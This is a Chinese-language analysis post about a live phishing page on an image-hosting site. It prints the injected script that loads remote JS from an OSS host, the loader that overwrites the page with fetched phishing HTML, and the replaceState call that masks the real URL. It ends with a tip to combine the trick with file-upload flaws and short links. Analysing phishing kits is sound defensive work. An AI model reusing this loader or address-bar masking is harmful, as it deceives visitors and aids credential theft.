在日常划水时候发现一个有意思的钓鱼页面，当复制浏览器地址去访问的时候会直接提示404，随即水一篇。
钓鱼页面的入口为https://image.jiubugaosuni.com/image_clone/1713218343_IgHz1_45b130.html?sou，
看到这个目录结构，很容易和任意文件上传这类的漏洞关联起来。
打开页面后可以看到该页面引入了一个新的JS
<script charset="UTF-8">
var xUrl = '//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js'
var now = Math.round(Date.now() / 1000 / 5)
var s = document.createElement('script')
s.setAttribute('src', xUrl + '?t=' +now)
s.setAttribute('charset', 'utf-8')
if (!document.body) document.head.appendChild(s)
else document.body.appendChild(s)
</script>
页面内容中还有注释掉上面xml头的逻辑，可能上传时候业务逻辑做了一些限制，攻击者通过注释来绕过这个业务逻辑限制来运行html代码。
再往下2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js的内容如下：
function loadhtml(url){
var xhr = new XMLHttpRequest;
var html = null;
function render() {
var a = document.open("text/html", "replace");
a.write(html);
a.close();
}
xhr.onload = function () {
html = xhr.responseText;
var delay = 0;
if (delay > 0) setTimeout("render()", delay * 1000)
else render();
};
xhr.open("GET", url, !0);
xhr.send();
}
loadhtml('//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_qq_hua_2.html?a=2?'+new Date().getTime());
引入的html有加密，通过直接运行上面的代码来观察进一步动作。运行以后，地址栏的URL的路径以及参数变成这样：
bm55e27z59.html?1714556281896#1714556281896
通过#+时间戳的关键字定位到如下逻辑
可以看到通过pushState将地址栏进行了修改。但这句代码并不能达到修改uri地址的目的，于是再翻看JS，找到了下面这句：
window.history.replaceState({}, '', '/' + randomString(10) + '.html?' + Date.now());
攻击者通过使用pushState、replaceState结合来完成隐藏真正的被攻击页面的资源地址，来达到迷惑访客、运维人员的目的。
根据文档来看，这两个api都受同源策略的限制。
新的 URL 必须与当前 URL 同源；否则，pushState() 将抛出异常
历史记录条目的 URL。新的 URL 跟当前的 URL 必须同源；否则 replaceState() 方法将抛出异常。
所以一般可以结合任意文件上传漏洞在钓鱼的过程中使用。当控制了某域下的任意html资源以后就可以伪造地址成该域下的其他资源，结合短网址等更佳。
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。